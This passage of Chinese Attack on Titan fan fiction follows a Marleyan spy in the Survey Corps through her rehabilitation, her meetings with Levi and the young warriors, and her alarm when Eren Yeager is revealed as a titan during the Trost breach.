他没理我,转而质问,“我不记得你之前有过腿伤。”
我腿还没完全好,为了避免二次伤害才需要拐杖辅助走路,医生说是因为我之前腿上就有旧伤,当时没处理好,这次又伤到了,恢复会慢一些。
之前医生提起时他就站我旁边,我那个时候还担心他注意到什么,结果他没有,我松了一口气的同时又有些失落。现在听到利威尔突然这么问我那道伤口,我顿时不知道该说什么。
这个旧伤是我在马莱那边训练的时候被弄伤的。
对着利威尔,我总是很难像跟别人一样毫无负担地撒谎,我只好虚虚地说:“以前的事。”
他没有继续追问,只是接过我的行李,“接下来,我会抽时间来盯着你做康复训练。”
“好,但明天不行,我有事。”我跟着他爬上了马车。
大概他是准备带我回调查兵团,我和他都没有家,除了兵团,我们两个也没什么地方可以回去。
他其实可以回地下街的那栋房子,但估计不太愿意。那个地方承载的回忆太重,会把他压的喘不过气。
“什么事?”他问。
去找战士们商量的事,把帕拉迪岛的救命稻草始祖巨人夺走,然后侵略这座岛屿,拿走这座岛上蕴含的财富。
我总不可能这么直接跟他说,所以我是这么说的,“私事。”
他瞥了我一眼,“多长时间?”
“这好像不关你的事。”我的语气有些不善,利威尔看着我,大概有些惊讶。
其实我刚开口就开始后悔了,因为伤口的原因,我心情不太好,再加上迟迟没有找到机会去见战士们推进计划,这让我最近有些焦躁。
我想早点完成任务,然后离开。尽管我不太想回马莱,但我也不想留在这了。
“好吧。”他干巴巴地说,“但如果你出了什么意外,可别找我处理。”
“哦。”我有些尴尬。
他一言不发地盯着窗外,我时不时偷偷瞄他一眼。以往我对他语气不好,他总会骂回来,用很不堪入耳的方式,但今天,不知道是不是我的错觉,他有些不知道该怎么应对。
马车停了之后,他习惯性地提起我的箱子,迈下马车,朝我伸出手,准备扶我下马车。
我觉得他今天太不对劲了,直接问:“你怎么了?”在这种事上,我不愿意拐弯抹角去猜测,还不如直接问。
他皱了皱眉头,我就又补充了一句解释一下,“不仅仅是今天,甚至是最近,从我住院开始,你脾气突然就变好很多了,是不是被兵团的工作给磨平了棱角?”
我感觉他青筋暴起,但他很快又压下去了。一个字一个字地顿着说:“很奇怪吗?”
“很奇怪。”
他沉默着没开口,过了一会伸出手弹了我脑门一下。
后来我听韩吉说,是埃尔文告诉利威尔,有时候温柔点会更受人喜欢
。
我跟韩吉说其实利威尔本来就很温柔。
她说,“什么?原来是这样!那我多跟他接触试试!其实上次我就觉得他是个好人啦!”
后来利威尔警告我,不要跟韩吉说太多关于他的事。
但我觉得他心情很好,应该也是希望我多跟韩吉聊聊他。唉,他就是那么个不实诚的人~
53.
第二天天还蒙蒙亮的时候,我就动身去找战士们。坐着马车,到了难民耕种的区域时,太阳已经高高顶在头顶了。
但晚秋的太阳即便是很亮,也不会让人感到燥热。而且秋天是枫叶变红的季节,所以我总是很喜欢秋天。
我看着他们身上的衣物,“看来你们没有我也照顾好了自己。”
看着面前他们稚嫩的面孔,我不自觉地放轻了声音,“现在来商量一下接下来的行动吧。首先先汇报一下你们的调查结果。”
他们没有埋怨我在这段时间杳无音信,也没有像别的小孩那样哭诉自己在难民营过的不好。
毕竟我作为外国转马莱籍,即使不像马莱人那样拥有“高等人种”的地位,但是比他们“低贱人种”艾尔迪亚人在社会地位上要高一些,所以他们身为比畜生还要低贱的最没有人权的艾尔迪亚人,是绝对不可能向会我倾诉的。
没人会同情他们,罪人的孩子不是需要保护的孩子,而是工具,用在这样的战争里的工具。
就像那时候我跟老将军一样,他虽然名义上把我收养为女,但我知道他不会把我当做女儿,甚至不会是一个好的下属,我只是他想要培养出来的一枚棋子。
真正的父亲是不会把女儿一把推上实验台的,也不会让她独自一人前往敌国做间谍。
更何况是他下达了杀死我族人的命令,即使我已经叛变了我的国家,但是心里或多或少还是有芥蒂。他想必也是知道这点,才会用那样冷漠的目光看着我。
想到这,我收回了发散的思绪。看到这群战士们总会让我想起当时在将军府的日子。后来我也经常会想起将军府,会想到站在篝火旁的老将军发出沉重的叹息,会想到那间总是昏暗的房间,会想到那个站在苹果树下一遍又一遍抚摸我的发丝的金发女孩,会想到那道惊雷。
我把目光放回他们身上,抬抬下巴示意他们可以开始说话了。亚妮莱恩哈特朝我行了一个军礼,“我们去调查了一些贵族,但是没有迹象表明他们是始祖巨人。”
“高层的贵族是一定知道那些真实的历史。”我开口,“王只是傀儡,按照那些人腌臜的心思,是不可能会放任真正的王扮演平民藏起来。”
“最近,有没有贵族的什么奇怪的事。”
贝尔托特迟疑着开口,“有个小贵族,似乎在领地里发生了一场火灾,一家只有一个人活了下去。因为那个贵族是伊莱扎前辈您特意标注了,所以我去了解了一下。”
“哪个贵族?”我标注的贵族还是有四五个。
“雷伊斯。”
雷伊斯确实是我心目中始祖巨人人选可以排进前几的。因为他们的可疑点实在太多了。
“火灾是什么时候?”
“大概是破墙的那个时候。”
我皱起眉头,拿起笔,在本子上记录,“你们破墙是个鲁莽而且打草惊蛇的举动,但是这确实有将始祖巨人逼出来的可能性。”
“王应该篡改了子民的记忆,并且放任认为“墙即是神明”的教派传教,对你们的袭击有没有任何反应,他或者她没有强烈的反抗欲望。”
我看了看莱纳,他听到破墙这个字眼后脸色就不太好。
“目前为止,不被马莱管理的智慧巨人,始祖巨人,进击的巨人,战锤巨人。战锤巨人是属于戴巴家族,很早以前进击的巨人就因为管理失误失去掌控权,现在也没有找到,所以我们不排除现在可能有两位智慧巨人在这座岛上。”
那些战士们对进击的巨人了解不多。实际上马莱了解也不多。曾经马莱短暂管理过一段时间进击的巨人,不过他们的持有者都是怪人,有一个持有者不知道用什么办法脱离了马莱的监管,马莱自此就彻底失去了对进击的巨人的管理权,至今也没有寻回。
我猜测估计是跑到岛上来了,但是那句对进击的巨人的描述,又让我有些动摇:
“无论在任何时代都在为了追求自由不断的前进,为自由而战。”
这是书籍记录中对进击的巨人唯一的描写,我想追求自由的人是不甘被困在墙里的。
曾经我想过利威尔拥有如此强大的战斗力,会不会是继承了巨人的力量,但经过长时间的观察证明了他真的只是很厉害而已。
贝尔托特抱起头,“如果有两个智慧巨人该怎么办……”
我开口,“不能怎么办,尽量两个都带回。坐标优先。”坐标是我们为了防止一不小心被人偷听到而为始祖巨人取的代称。
他们都没有开口,我就继续说,“如果雷伊斯的火灾是真的,并且他们就是始祖巨人的持有者,就有两种可能,一是真的倒霉被火烧死了,剩下那个活着的是始祖巨人。二是被知情人谋杀了。三是借由假死,掩盖身份藏身在市井中。”
莱纳开口,“那该怎么办?如果是藏入人群,这怎么可能找得到……难道我们要再破一次墙。”
我弹了他脑门一下,“再破墙对我们好处也不大,而且那个时候就只能破小不破大了。”
“那次破墙始祖巨人就没出现,现在也不会。”亚妮说,“而且我也不想再经历一次了。”
空气突然停滞下来,我咳了一声,决定终结这个话题,“你们先加入兵团吧,那里获取情报要轻松,也更方便你们生存下去。”
“我建议不要加入驻屯兵团,那个兵团对我们没用处,如果你们能进中央宪兵自然更好。至于找始祖巨人,我们到时候从一些地下消息渠道入手吧,要是还是没有线索,那就再说。”
接下来的时间我和他们说了更多这次任务的注意事项已经行动计划,但眼见着快中午了,我只好停声,准备告辞。
“达克指挥。”贝尔托特突然叫住我。
达克是我的姓氏,原本的姓氏,我没有因为加入马莱籍而改姓。来到帕拉迪岛,我对他们说我没有姓氏。
他说:“那个伤口……还是多多照顾好自己吧。”
我愣了一下,低头笑了笑,“你们照顾好自己才对啊,我可是成年人。”
“希望我们最后都能回去吧。”我对他这么说着。尽管我们都知道在这次行动中,注定会有人牺牲。
战争可以从根本上摧毁一个人。也可以把你所熟知的一切全部颠覆,毁灭。
这是战争。如果没有人牺牲,如果没有人变成恶魔,那才不现实。
54。
我坐着马车准备回兵团,看到了路边站着抽烟的阿尔塔,就叫马车停下来,跟他打了声招呼。
阿尔塔没有把烟取下来,“你还活着啊?”
虽然知道他在开玩笑,但我拳头还是硬了,生硬地说:“谢谢你把我带回来。”
“顺手罢了,听说你和那个最近名气很大的人类最强关系好,我救你也算是给自己攒个人情吧。”
我没有注意到利威尔名气变大这件事,养伤的那段日子我几乎和外界隔断。
我轻轻下了马车,他看着我手里的拐杖,“残废了?”
“不,”我摇头,“只是还在恢复期。”
“说起来,利威尔兵长,是不是黑发死鱼眼的矮个子男人?”阿尔塔把烟取下,俯身低声问我。
我愣了一下:“确实,但外界会这么描述一个人的长相吗?”
“不,因为那个人正在朝我们走过来,你该不会是他的仇家吧?”
我转过头去,“我草你妈的。”
之前我提过了,利威尔的面相自带凶煞气息,现在这个气息更甚。他“挞挞”地走过来,环抱着双臂,“伤还没好,就去约会?”
阿尔塔把烟往包里塞,大概他觉得利威尔有些吓人。
我摆摆手,“不,路上碰到了,他上次救了我,所以来道个谢。”
利威尔闻言才扫了一眼阿尔塔,“啊,原来是那个烟鬼啊。”
“你出来做什么?”我岔开话题,利威尔平时都是呆在兵团里,很少会出来。我其实也不太喜欢外出。
“去墓园。”
哦,对了,今天……好像是……伊莎贝尔和法兰的祭日。我顿时不知道该说些什么,干瘪瘪地说,“那正好,我们一起去吧。”
“……顺便我再去看看德里克。”我垂下眼帘。
有时候会觉得自己很恶心,但又想说服自己这是没有办法的事,或许我还是想的太多,战争本来就会把人变成魔鬼,如果不变成魔鬼,怎么在这场战争里活下来呢?如果不抛弃身为人的底线,战争又怎么会容忍我呢?但
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我又控制不住去想变回人类。
阿尔塔没有跟我们一起去,他说他不喜欢墓园。
“他和你还真像。”坐在马车上时,利威尔突然说。
“哪像了?”
“都不喜欢墓园。”利威尔说,“之前从没见你去过墓园。”
“你原来不也是吗?”我想起地下街时的利威尔,那个时候他从来不会去看死去的同伴的坟墓。
他说,“现在不一样,他们什么也没留下。”我突然想起,他虽然不会去看望死去的同伴的坟墓,但却会留下他们的遗物。
他说这句话的时候,声音有些颤抖。即便是人类最强,在面对至亲的人离去,依然也会像个普通人一样无助吧。我想起了那场让他失去他们的雨,在雨里的他像是失去了一切一样,万念俱灰,好像下一秒他也要离开了。对于利威尔来说,伊莎贝尔和法兰是他至亲的同伴,也是他与这个世界的纽扣。
想到这,我有些难过,我没有可以将我与世界联系在一起的纽扣,就算有,那也是曾经了。没有与世界接轨,那就像是一具尸体一样地活着,却能感受到人情世故,能够感受温暖寒凉,会难过,会大笑……但依然,只是,像是一具尸体一样,一个没有归属的存在。
那所有的深深的情感将我送葬,没有归属的我,最终也没有人会记得,没有人会为我而落泪,也没有人会想将我留住。来到这世界两回,我什么也没留住,什么也没得到,只是平白伤了自己。
情绪就像是一块无止境蔓延的黑夜织成的布,思绪不断在我灵魂里乱撞,我感觉我快要被我割裂的情感掩埋了。
但最后我只是说,“至少,会有人怀念他们。”
是啊,有人会怀念他们。那他们也算是以另外一种方式,继续活着吧。
55。
我和利威尔在将暮未暮的时候,来到了墓园。
德里克的墓碑在墓园的拐角就看见了,我看见那上面刻着的墓志铭,
“一个年轻的灵魂在这里安眠,他想告诉他的朋友们:不用悲伤,死亡只是另外一个生命的延续,他即将踏上新的旅途,希望他的朋友们不要太想念他。”
不知道他是什么时候写的遗书,这段话就像是德里克自己亲口说的一样。
我移开了目光。
“走吧。”我伸手拉住利威尔的衣服,从地上站起来。
利威尔没动,“你不需要待会吗?”
“……不需要。”
我确实不需要时间来平复自己的情绪。对于德里克的死,我从中得到的,更多是教训。
“你不是要去看望伊莎贝尔和法兰吗?”我低下头看地上爬着的蚂蚁,“现在就去吧。”
同德里克的墓碑不同的是,伊莎贝尔和法兰的墓碑并不太大,在周围的大大小小形态各异的墓碑衬托下,显得如此小,上面也没留什么墓志铭,仅仅只是留了他们两个的名字。
利威尔单膝跪地,用手碰了碰墓碑的边缘,说,“上次出城墙,遇到了个长得很恶心的巨人,还弄脏了我的斗篷。伊莱扎也出院了。我被升为了士兵长。”
我站在他身旁,凝视着那两座墓碑,“我过得很好,希望你们在天堂开心。”利威尔在这种时候,跟那些墓碑里死去的人说话,我想他大概会说些他们之间才会说的话。于是我跟他说,我给你们留点空间,就一个人往别处散步。
我不喜欢墓园。
我讨厌去祭拜死人。
死去的人在天堂大概会看见会得知我所做的那一切,便不会想要听到我的祝福,更不想我来到他们的墓前。
因为我是个可恨的敌人,未来会踏平他们国土、摧毁他们所熟知的一切的国家派来的间谍。
我绕着墓园边缘一路走着,然后又突然停住脚步,望向那一片墓碑。
这片墓园是给死去的士兵们安身的墓园,这片墓园里埋葬的有一半都是调查兵,而有很多墓碑下面,没有尸体。有人离开城墙,连自己的身体都只能留在外面了,伊莎贝尔和法兰也是一样。只是有思念他们的人,立下墓碑来做念想罢了。
我站在这不知道过了多久,利威尔就走来了,他说,“走吧。”
天色已经慢慢开始暗下来了,墓园总是寂静的,我和他一声不吭的走着。
他突然说,“你的手怎么红了,鼻子也是。”
“我不耐寒,快到冬天就会这样。”
他嗯了一声。
快走到门口,才终于看见除了我们以外的两个活人。一老一小,老的是这片墓园的守墓人,小的是个扎着两个漂亮丸子头的小女孩。他们坐在一个摇摇晃晃的长木板凳上,看着远方镇子上热闹的灯火。
“人死后,是会去天堂还是地狱?”我听见那个小女孩问守墓人。
守墓人沉吟着,“天堂吧。比起人间,哪都像天堂。”
小女孩说,“那就太好了!”
守墓人大概是小女孩的长辈,他牵起小女孩的手,朝她手心吹暖气,揉搓着她红红的指尖。这让我想到我奶奶,她以前也会在冬天帮我搓手,用她干树皮一样粗糙的手,那个时候我还嫌弃她的手太粗糙了,却没有不知道奶奶经受了多少非人的对待,就算知道,那时的我也太过单纯,单纯到可怜,是不可能明白那些痛苦的。
听着这段可爱而又悲哀的对话,我看着利威尔,“人间地狱啊。”
“地狱又怎么样,还是要活下去。”利威尔说,“无论如何都要活着。”
我附和着,“对啊,一定要长命百岁,平平安安。”
但这大概是一个平凡而又不切实际的梦想,我苦笑着。
在离开墓园的时候,我和利威尔分开走,他说他去办点事,我本来想自己走回去,但他骂我腿没恢复好,就自己乱跑,还是让我坐马车回去。
回到兵团再次碰到他后,利威尔丢给我一副漂亮的手套,还有一条有些丑的围巾。
如果要让我回到过去,在我还是无忧无虑的年纪时,在那间有点窄的教室里,操着一口标准国语的外文老师布置了一篇名为“最宝贵的事物”的作文。
我不会纠结于写妈妈送我的长着一头漂亮棕发蓝眼睛的布娃娃,还是爸爸送我的旋转木马音乐盒。我会写在我一个人被迫留在异乡时,在秋天快要过去,冬天快来的时候,有那么一个人送给我人生第一副手套和一条织得不太好看的黑色围巾。
13. 梦醒了
第十四章 梦醒了
61。
“指挥。”
亚妮突然传信让我去这个地方找她时,我是有些意外的。我们偶尔会潜入对方的宿舍,在隐秘的地方放上小纸条,一般都是关于任务进度。很少会有需要这样面议的事。
这和我以往做的间谍工作不同,大概是因为敌国大部分人都不知道我们的存在,而且我们也没有途径联系马莱。
“有什么事吗?”我摘下兜帽问。
亚妮迟疑了一会,缓缓开口,“莱纳,他最近有些奇怪。如果可以的话,指挥您以后减少在他那里的信息传递。任务,也暂停一下吧。”
我不期待发生的事终于还是发生了,我叹了口气,靠着墙慢慢地蹲坐下去,捂住脸。亚妮她约我的地方是在一个偏僻的窄巷。我和她在来前都去其它地方做了乔装。可能是棕褐色的假发闷着我了,我觉得有些累。
但我不能在这群孩子们面前露怯。我是成年人,在这场计划里更是担当了指挥这一身份。所以我站起来,“说说吧,一定要注意你的证词,这将决定我日后是否有必要考察他的忠心,甚至……”
“可能会决定我要不要在这里处理掉他。”
如果莱纳影响我们的计划,那就只能除掉了。我们的计划一旦暴露,就会满盘皆输。
我捕捉到亚妮的瞳孔紧缩了那么一下,看来即便是她跟我报备了莱纳的异常,她也是个在意同伴的女孩。
她带着坚定的语气,回答,“指挥。这是我一昧的猜测,莱纳可能有点被扮演的身份影响了。但他绝对是忠于马莱的。”
这是间谍工作里最麻烦的情况,入戏太深,被自己所扮演的角色影响,走不出来。
他们就算手上沾满鲜血,甚至还是马莱精心培养的战士,也依然只是心性不稳的孩子。这是人之常情,说明他们还有人性,我能理解。但无论如何,都不能影响任务。
我沉默了一会,拍了拍亚妮的肩膀,“监督好他吧。千万不要出差错。你知道后果的,我们已经在这里折损了鄂之巨人。如果任务没能完成,马莱不会放过我们的。”
“绝对不要让他被感情所左右。不然任务一定会失败。”
如果莱纳有所动摇,到了那时,我就不得不出手处决他。这座荒岛与马莱根本没有任何通讯的方式,一旦我们暴露了,那就真的会满盘皆输。
“指挥,还有件事。之前莱纳和贝尔托特都觉得没有必要报备,但我认为指挥您有必要知道。”亚妮恢复了她没有表情的面庞。
“什么?”
“我们的同级生里,有一个训练兵,她的名字叫做尤弥尔。”
我愣了一会。尤弥尔。最初的那个巨人。她是给世界带来巨人这种东西的罪魁祸首。但是,墙内的历史……并没有记载过尤弥尔啊?
“是巧合吗?”我问,但真的有这么巧吗?一无所知的艾尔迪亚人,竟然会有人取他们的始祖的名字。
亚妮皱起眉头,“我不确定。”
“但之前。我们试探过她。并没有试探出什么。”
“试探不出不代表没有。”我咬牙,“她有说过来自哪个地方吗?”
“玛利亚城墙……”
我有些语塞,这实在是个掩饰的好说法。玛利亚城墙已经破了,没人知道她说的是真是假。那三个小孩也是这么潜入的。
“那就好好监视着吧,有什么异样,就控制住她。”我嘱咐道。
62。
第二天,我顶着乌青的黑眼圈,披头散发,摇晃着身子坐到了韩吉旁边。
昨晚我和亚妮商量了好一会,又为了去弄清确实没人知道始祖尤弥尔跑去了好几个酒吧探口风,回来时还为了防止有人尾随,绕了不少路。抵达宿舍的时候就已经四点多了。我连衣服都没换,沾着枕头睡了那么一会,兵团的钟声就敲响了,只好爬起来。
“哇,伊莱扎,你的眼球可真吓人。”韩吉说着还摸了摸我翘起来的发丝,“全是血丝。你昨晚干什么去了?”
我揉了揉眉心,“睡不着。”
利威尔夹了块胡萝卜放在我盘子里,我看着那一坨橙黄色的东西,刚想说不吃,看到他那双死鱼眼,联想他最近的那些传言,有些咋舌。
我和他大眼瞪小眼,看着他马上要开口说话了,我立马妥协:“好吧,我吃。”最后迫于人类最强的威严,我还是吃了这个胡萝卜。
我真的不喜欢吃胡萝卜。
“中央把下次出墙的日期敲定了。”米可走来通知,“你们三个等会先去安排好今天的训练任务,再去参加会议。八点开会。”
韩吉听闻哀叫了一声,她好像有什么事想去做,不太想去开会:“喂!米可!能不能让副队长去参加啊?”
我看见在韩吉旁边坐着的莫布里特用不可置信但又满是无奈的目光盯着韩吉,哀叫一声,“韩吉队长!”
说实话,莫布里特真的是我见过的最难做的副队长了,韩吉有时候……从某种意义上来说,比问题儿童还要麻烦。
米可露出了一个嘲笑的笑容,无情地说:“不行。”
埃尔文在会议上说,继续沿着上次行进的路线开辟。还重新安排了一下各个列队的位置。
“希望有天能够抵达玛利亚城墙。”会后,他这么跟我们说。
米可附了一句:“但愿吧,要是能够把玛利亚城墙夺回来就好了。”
他说完这句话后,大家都没有开口,可能是因为所有人都想到了玛利亚夺回战。
“那个夺回战伊莱扎参加了吧。”一个不太熟的士兵开口,“一直不好问,怕让你想起不好的回忆,怎么样?”
“地狱。”我摇了摇头,“简直是地狱。我就像是带着那群家伙去给巨人喂食一样。”
大家闻言都感叹了一句,接着谈起了那些巨人,“我们出墙那么多次都没有碰见过铠甲巨人和超大型巨人。说实话,要不是因为目击者很多,我都要怀疑这两个巨人存在的真实性了。”
韩吉说,“所以它们才会引起我们的注意。突然出现又突然消失。”
“你们说会不会是假的啊?”
“比如集体幻觉?因为巨人破墙太让人难以接受了。”
“但只有超大型巨人那样的才能把城墙破开吧。”
听着大家激烈的讨论,我也跟着插了句,“如果他们就此消失了也不错啊!”
63。
转眼就到了出墙的日子。自从埃尔文当上团长,存活率大大提升,使调查兵团的威信也高了不少。这次出城墙有不少人来送行。
我看见韩吉和利威尔似乎在说点什么,站在我旁边的米可感叹了一句,“关系真不错啊。”这次我和米可的队伍占位比较近。
我嗯了一声,“韩吉似乎对利威尔战斗力有很大的兴趣。”
“哼,确实,他那样的战斗力简直不像人类。”
因为他异于常人的战斗力,我还怀疑过他是不是由王政改造的人型兵器,但人型兵器怎么可能流落地下街呢?
我对米可耸了耸肩,说:“毕竟是一人顶一旅的兵长嘛。”
米可撇了撇嘴,“从你嘴巴里说出来就像是嘲讽一样。”
“什么啊。我可是很真诚的。”
但这种话从间谍嘴里说出来确实让人觉得可笑。
门马上要开了,我无心继续和米可交流了。第六感驱使我把目光往边上一扫,与一个男孩直直地对上了目光。
唉?为什么那个男孩,总感觉,他身上……有什么让我很在意的东西。
他似乎也注意到我在看他,有些奇怪地看着我。
那个男孩……
“伊莱扎,”米可叫住了我,“回神,城墙要开了。”
“哦,好。”我急忙把目光收回来,但思绪还没从那个男孩身上抽走。
我十分相信我的直觉,而在刚刚,我直觉告诉我,那个男孩身上有我很在意的东西,但我不清楚能让我在意的事物到底是什么。
更不知道这是好是坏。
63.。
我领着队伍在城镇里驾马前行,听到一丝声动,招呼后面的队员提高警惕。随后我从马上站起来,扣住扳机,把自己送到屋瓦上,果不其然,那是个三米级的巨人。它刚好把自己掩藏在房屋中间,如果稍不注意,策马经过,就会被它一把抓住。
我皱起眉头,一步一步走向屋瓦边缘,看着它在底下不断挥手想要抓住我,令人作呕的模样,最终举起刀,从屋瓦上跳出,在空中旋转肌肉缩紧把刀挥出,紧盯着它的后颈肉,利落地削下。
“队长,那里有十米级巨人在靠近。”艾米丽大叫起来。
我从那个倒下的巨人开始蒸发的尸体上站起,“几个?”
“一个。”
虽然埃尔文的作战计划一向是能避则避,但在城镇楼房错杂着,如果不能把见到的巨人解决,或许下一个转角就会被它抓住绳索,然后被拉住逃亡的一切可能性,死在它嘴里。
“你和埃尔夫去解决了吧。”我擦了擦刀刃上的血迹。
就在我观察最佳行进路线时,一阵嗖嗖声从我背后响起。
“伊莱扎,”米可跳到屋瓦上,“撤退。”
我收起刀刃:“撤
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退?可现在还远远没到极限吧。是哪出问题了吗?”
米可沉声道:“埃尔文说巨人往城墙方向行进,可能是城墙再次被破了。惨剧又要重现了。”
但这不可能啊?我不可置信地说:“这不可能。”
“大概率是,那年也是这样。”米可说完没有过多停留,他还要去通知别的队伍。
可那三个家伙没有跟我报备。我留在原地,控制不住握紧刀柄。我早就说过了,不要随意破墙,他们为什么不听从我的命令?
我是大队伍的后卫,因为我还不想成为先看到那个惨象的人,而且我需要时间来调剂我自己的情绪。
破墙可能看上去会引出始祖巨人,但如果始祖巨人引出不了,便是把我们暴露在了那群知道真相的王政府手里。我们本来可以在他们一无所知的情况下,神不知鬼不觉地带走坐标,但因为上次破墙,他们一定得知我们的存在,这次破墙更是在宣告我们潜伏在墙内这件事。
就在我沉思的时候,队伍里突然发出一阵惊呼。
“怎么了?”我问,一抬头就看到城墙被应该被破开的门那里被堵上了一个大洞。
这一定是巨人做的。
我想到了个可怕的猜想,顿时瞳孔紧缩,神经绷紧。难道是他们当中有谁叛变,决定帮助那群家伙吗?还是说这是他们自导自演的一场戏,只是为了试试能不能引出始祖巨人?
他们有人下去帮忙铲除巨人,而我还没有动,我还在想那个堵住大洞的巨石。我站在城墙上听见我颤抖着说,“那是怎么做到的……”
一个驻屯兵从我背后走过,贴心地说,“因为有个训练兵,他变成巨人搬动了这块石头!”
“你说什么?”
那人带着兴奋的声音,“有个士兵!他竟然变成了巨人!”
“哪位士兵?叫什么?”虽然我的语气没有变化,但实际上我的大腿都被我揪出血了。
比起眼前得知的那个突发消息,我更不应该让韩吉察觉到什么。有时候,他们这群艾尔迪亚人的直觉精准到可怕。
“艾伦耶格尔。好像是这个名字。”
没有听到熟悉的名字这并未使我松一口气,陌生的人,陌生的巨人,如此明目张胆亮出来,他不可能是王政府的人,那他是谁!
那个驻屯兵还在继续说:“你知道这意味着什么吗?这是人类第一次战胜巨人!而且有些巨人真的有智力!那么也就是说……”
那个驻屯兵依然兴奋地说着,而我早已没在听他说话。
艾伦耶格尔,我反反复复嚼着这个名字,恨不得把这个名字咬碎吞入腹中。
他会成为我们这场明暗斗争中的表面棋子。王政府和马莱的斗争棋盘上多出了个阵营不明的棋子,但这对我们来说都不是好事。
我相信王政府和我们一样,都不希望墙内的艾尔迪亚人可以发现真相,而现在,线索被这个名叫艾伦耶格尔的家伙摆了上来。
他到底是什么巨人?不可能是始祖巨人,他们不会让一无所知的人去承担,也不会让不是王室血统的人背负。
只要我见到他巨人化就行了,鄂之巨人的外表特征明显,如果不是鄂之巨人,那他还有可能……是进击的巨人。
而进击的巨人一定是从墙外进来的,也就是说,他很可能知道这个世界的真相。而且,他可能会将这个真相公告天下。
绝对不能。那样我们的处境会更加危险!我们根本联系不到马莱,而我甚至连撤退都做不到!一旦艾尔迪亚人知道我们这些躲在阴影里的敌人,绝对会掘地三尺挖出我们。
如果有必要,我会除掉他,哪怕拿不走他身上的巨人之力,我也要除掉他。我有预感,这是我们计划中的最大的变故。
早知道那个时候,就不该承担这个责任来帕拉迪岛做间谍!但我根本没有选择,如果柯洛林来,她绝对会败露计划,死在这群恶魔手里。
我思绪不宁,没有注意前方,撞到了一个人,是我的队员,艾米丽。她揉了揉脑门,看清是我后,询问:“伊莱扎队长,要去吃饭吗?”
我回以温和的笑容,“不了,吃不下。想先回寝室。”
我没心情去应付这群家伙了,只是草率地和她挥手告别,现在我满脑子都在想该怎么办。
走到转角处,我实在控制不住自己的情绪,重重地锤了墙面,低头看着手上留下的石灰印还有点点血丝,继续若无其事地向前走去。
我会解决你的。艾伦耶格尔。
挡在我前面的东西我都会把他们一一清除。
梦该醒了,而我依然无路可走,更无路可退。
14. 蛛丝
第十五章蛛丝
“我不怕黑,可我怕躲在黑暗中的人。”
——尼尔·盖曼《美国众神》
——
64.
在一切结束后,众人齐聚一堂,开始清算罪过。
那么,罪一。
谁是第一个凶手?
就在众人争执着,斥责对方才是第一个凶手时,飞在空中的白鸽开始高声叫嚣,它嘴里还衔着那毫无意义的橄榄枝:
“该隐是第一个凶手,他杀死了亚伯!”
坐在高台上的木偶人们整齐划一地点头附和,于是众人决定宣判第一个罪人……
但是——
“神赐物”赛特却面带痛苦地说,
“不!他不是!”
他的叫声太过凄厉,惊得窗外的乌鸦都振翅飞起;讲述着创世神话的玻璃制彩窗撕开了一道裂缝,创世神的面庞裂开后不是仁慈的笑容,而是满怀不甘与怨恨;坐在高台上的木偶双眼突然就奔涌出了血泪,怎么也止不住;描述着未来之景的壁画上的弥赛亚褪去他温柔的微笑,露出了一个扭曲的似哭似笑的表情。
一切开始崩塌……
64。
我坐在议事厅里,心底的焦躁难以被压制。
我现在穿着的是正式兵装,这套制服的特点是长款而且不方便行动,这样可以防止会议开着开着就发生肢体冲突,也会显得比平时的军装更加严肃。
利威尔曾经形容过这个军装“是伪君子穿的”,但这个评价大概也有那时与宪兵做对被找麻烦的迁怒成分,并不太客观,至少我觉得这套制服很好看,对此利威尔只是冷哼了一声。
这是特洛斯特区事发的第二天,人们把目光从被破的城墙转移到了那个变成巨人的人。
一时间,所有得到消息的地方都弥漫着一股恐慌的气氛,有人质疑,有人害怕,有人不敢相信,有人说这是阴谋,有人说末日要到了……
“正因如此,”皮克西斯司令说,“我们才需要提前开个会议。在少年醒来前,商讨一二。”
穿着宪兵制服的眼眶凹陷的男人重重地拍了一下桌子,好像这样就可以为自己增添一两分气势,他站起来,面带不屑地瞄了一眼其它士兵,值得一提的是,几乎大部分宪兵都是这样的嘴脸,他张开他金贵的嘴巴:“毫无疑问,无论如何都应该交由我们宪兵团……”
一旁的驻屯兵笑了一声:“然后处决他?你们只会这么干,要我说就应该多套点我们不知道的消息,比如他怎么混进人类里面来的……”
面慈心善的金发女孩捂了捂嘴,与她甜美的外表不相称的是她眼里的讥讽,她惊呼:“他也不一定是巨人吧!万一他和我们一样都是人类呢?我看他自己那时都不太明白情况是什么样的呢……”
会议才刚刚开始,但是人们已经热火朝天地吵起来了,虽然他们的出发点不同,但目的都是一个:大家都要拿到那个可以变成巨人的士兵。
“伊莱扎,你怎么看?”韩吉在一旁敲着笔杆问,她对艾伦耶格尔的兴趣也很大,但她更希望能够直接见到他本人。
我合理怀疑,如果不是出于道德底线,她或许还想给那人做一个解剖。
我转了转眼珠子,回答:“我想,可能,最后会是宪兵团。”
我不太在乎谁会得到那个巨人的监护权,毕竟我的目的只有一个:不惜一切代价带走艾伦耶格尔,如果实在行不通,就杀了他。
希望调查兵团能够识相点,不要想着招募那个男孩。要是他进了调查兵团,我弄死他还不被发现的可能性就小很多了。
我接下来得先去和训练兵团的战士们汇合,询问详细情况,这样方便更好地规划后续计划。
但更为关键的是,他到底是“坐标”,还是其它巨人?
可眼下怎么揣测也是徒劳。
我只好主动请求去帮助收拾尸体,训练兵一定会被派遣去清理战场,她可以趁此机会去和战士们交流一二。
面前全是尸体。尸体,除了尸体,还是尸体。尸体在腐烂,尸体在发出恶臭。在巨人呕吐物里纠缠的尸体,乌鸦吃不完的尸体,埋不完只能火烧的尸体……
我有些后悔了,她把反胃感从身体里赶出去,缩了缩脖子,眯起眼睛,寻找着战士们的身影。
我认出了一个训练兵,因为他在另一具尸体面前站着,面目表情难以形容,只有新兵在看见这样的惨象会露出这样的表情,他们没有见惯地狱,也没有在纸醉金迷里麻木,自以为认清世界的残酷,仍心怀满腔热血。
“训练兵。不要发呆,赶快收拾尸体。”
那个训练兵“啊”了一声,说:“我认识这个家伙……但是他……”
我不耐烦地打断了训练兵的自言自语:“回神,他死了。”
然后那个训练兵的眼睛才终于聚焦了,他似乎吞了吞口水,强行扯出一个嘴角,“啊,对。”
然后我就没有管了。对于一个刚上战场没多久的人,你不能指望他能很快从战争的残酷与人类的渺小里抽出来。
谁过去不是这样?面对一个个死人会像是这样的呆滞,然后悲痛,愤怒,最终大家都会走向一个终点,那就是麻木。人们都会被常年战争折磨得没了身形,没了魂,变得麻木不仁,然后只能在死亡里面找到活着的感觉。
我继续往前走着,帮着搬了几具尸体,又烧了几堆尸体。
终于我碰到了战士们,示意他们去被巨人破坏了的房屋里说话。
